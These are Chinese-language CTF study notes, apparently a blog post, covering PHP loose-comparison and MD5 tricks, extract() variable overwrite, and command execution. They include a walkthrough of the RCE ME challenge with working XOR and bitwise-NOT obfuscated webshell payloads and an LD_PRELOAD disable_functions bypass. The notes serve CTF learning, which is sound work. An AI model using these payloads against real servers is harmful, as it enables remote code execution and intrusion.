回顾123

html

元素、标签、结构

<!DOCTYPE HTML> <!-- HTML5标准网页声明 -->
<HTML> <!-- HTML为根标签,代表整个网页 -->

<head> <!-- head为头部标签,一般用来描述文档的各种属性和信息, 包括标题等-->
  <meta charset="UTF-8"> <!-- 设置字符集为utf-8 -->
  <title>my HTML</title> <!-- 设置浏览器的标题 -->
</head>

<!-- 网页所有的内容都写在body标签内 -->
<body> 
  我的第一个HTML网页
</body>

</HTML>

php

基础语法

<?php
...
?>

弱类型

PHP属于弱类型语言,即定义变量的时候不用声明它是什么类型。
是PHP语言的一个特性,但是在安全领域,特性即漏洞,这些特性在代码里面经常就是漏洞最容易出现的地方。

PHP比较操作符
php中有两种比较的符号:
松散比较==(等于)
先把字符串类型转化成相同,再进行比较
比如说字符到数字,非bool类型到bool类型。一个字符串和数字比较时,会把字符串转化成数字再比较。PHP转换规则是:若字符串以数字开头,则以开头字母为转换结果,若无则输出0。当有一个对比参数是整数的时候,会把另外一个参数强制转换为整数。

<?php
var_dump("admin"==0);  //true
var_dump("1admin"==1); //true
var_dump("admin1"==1); //false
var_dump("admin1"==0); //true
var_dump("0e123456"=="0e4456789"); //true 
?> 

“admin”==0 比较的时候,会将admin转化成数值,强制转化,由于admin是字符串,转化的结果是0自然和0相等

“1admin”==1 比较的时候会将1admin转化成数值,结果为1,

而"admin1"被转化成了0,“0e123456”=="0e456789"相互比较的时候,

会将0e这类字符串识别为科学计数法的数字,0的无论多少次方都是零,所以相等。
例:
xctf - simple_php

if( a ! = a!= a!=b && md5( a ) = = m d 5 ( a)==md5( a)==md5(b))
百度查询一下,0e开头的MD5的对比值:

QNKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020

===比较时,会先判断两种字符串类型是否相同,再比较。
===强比较绕过
一般是

if (md5($id) === md5($gg) && $id !== $gg)
直接 ?id[]=a&gg[]=b
md5($id)===md5($dd)===null

变量覆盖

变量覆盖指的是可以用我们的传参值替换程序原有的变量值。

变量覆盖可以让我们修改某些关键变量的值,可能造成越权访问、写入webshell等危害。

变量覆盖的场景
可能造成遍历覆盖的方法:

extract()

parse_str()

$$

mb_parse_str

import_request_variables()

register_globals

array_merge

extract()函数
extract()函数用来将变量从数组中导入到当前的符号表中。
在这里插入图片描述

例如

<?php
$a="testname";
$my_array=array("a"=>"C","b"=>"l", "c"=>"F");
extract($my_array);
echo"\$a = $a; \$b = $b; \$c = $c";
?>


输出:
$a=C; $b=T; $c=F

案例

<?php$public=false;
extract($_GET); //将数组键名转换为变量名
if($public==true)
{
echo"bypass!!!<br>";
}
else
{
echo"try again<br/>";
exit(0);
}/**
* payload: ?public=true
*/?>

信息泄露

dirsearch
GITHACK - .git
nmap
robots.txt

sql注入

字符型、数字型、报错型、union、盲注(时间,布尔)、脚本、sqlmap
sqli-labs

文件上传

绕过
工具:
AntSword、Godzilla、Behinder

文件包含

文件包含

ssrf

dns重绑

ctfhub - dns重绑bypass
wp

代码执行、命令执行

命令执行
当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如PHP中的system、exec、shell_exec等,当用户可以控制命令执行函数中的参数时,将可以住人恶意系统命令到正常的命令中,造成命令执行攻击。
直接调用操作系统命令
命令执行漏洞原理:
在操作系统中,“&、|、||”都可以作为命令连接符使用,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令。

代码执行漏洞
代码执行漏洞成因:
应用程序在调用一些能够将字符串转换为代码的函数(如PHP中的eval)时,没有考虑用户是否控制这个字符串,将造成代码执行漏洞。大部分都是根据源代码判断代码执行漏洞。
代码执行漏洞:
靠执行脚本代码调用操作系统命令
代码执行漏洞原理:
应用有时需要调用一些执行系统命令的函数,如PHP中的system、exec、shell_exec、passthru、popen、proc_popen等,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。
代码执行相关函数:

PHP: eval、assert、preg_replace()、+/e模式(PHP版本<5.5.0)
Javascript: eval
Vbscript:Execute、Eval
Python: exec

disable_function绕过

disable_function
例:
[极客大挑战 2019]RCE ME
在这里插入图片描述

用system等函数来实现命令执行。
但是得要先绕过preg_match()中正则表达式的限制,数组绕过preg_match(),很显然是不行的。

现在的问题是要绕过preg_match()中正则表达式的限制并getshell,连上蚁剑或菜刀,考虑异或或者取反绕过。
先构造一个Payload看看phpinfo,看一下PHP版本以及禁用函数:

${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
// ${_GET}{%ff}();&%ff=phpinfo

也可以用取反urlencode编码绕过:

echo urlencode(~'phpinfo');                                   
%8F%97%8F%96%91%99%90
payload: ?code=(~%8F%97%8F%96%91%99%90)();

在这里插入图片描述

可以看到是PHP7,但是system、exec、shell_exec等命令执行的函数都被禁止了,先构造个Shell连上看一下:

先构造一个shell连上蚁剑

<?php 
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "\n";
$c='(eval($_POST[a]))';
$d=urlencode(~$c);
echo $d;

?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9E%A2%D6%D6); //别忘了后面的分号
或者:
?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27])

在这里插入图片描述

上蚁剑,发现一个flag文件(空的),一个readflag文件
需要执行readflag才能得到flag,当时因为限制了很多函数,这个shell基本是废的,一个不能执行命令的shell叫什么shell。
所以这里需要绕过这个disable_functions,并执行命令。
方法一:想到蚁剑有一个绕过disable_functions的插件,正好有PHP7的UAF
运行得到终端,运行/readflag获得Flag:
在这里插入图片描述

方法二:利用linux提供的LD_preload环境变量,劫持共享so,在启动子进程的时候,新的子进程会加载我们恶意的so拓展,然后我们可以在so里面定义同名函数,即可劫持API调用,成功RCE
参考链接:https://www.anquanke.com/post/id/175403
在/var/tmp/目录存在上传权限,上传我们的exp:

上传这两个文件:

在这里插入图片描述

然后需要重新再构造一下payload,我这就直接用网上的异或payload:

?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27])
即为

?code=${_GET}[_](${_GET}[__]);&_=assert&__=eval($_POST['a'])
// assert(eval($_POST['a']))
包含我们的exp执行命令

?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/var/tmp/bypass_disablefunc.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so

执行得到flag:
在这里插入图片描述

Flask SSTI

https://blog.youkuaiyun.com/aetlypdlg_ys/article/details/130206273

awd

https://www.cnblogs.com/sstfy/p/11853919.html

MISC

流量分析题总体题型:
一,ping 报文信息 (icmp协议)

二,上传/下载文件(蓝牙obex,http,难:文件的分段上传/下载)

三,sql注入攻击

四,访问特定的加密解密网站(md5,base64)

五,后台扫描+弱密码爆破+菜刀

六,usb流量分析

七,WiFi无线密码破解

八,根据一组流量包了解黑客的具体行为

密码
http://www.taodudu.cc/news/show-6523534.html?action=onClick

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值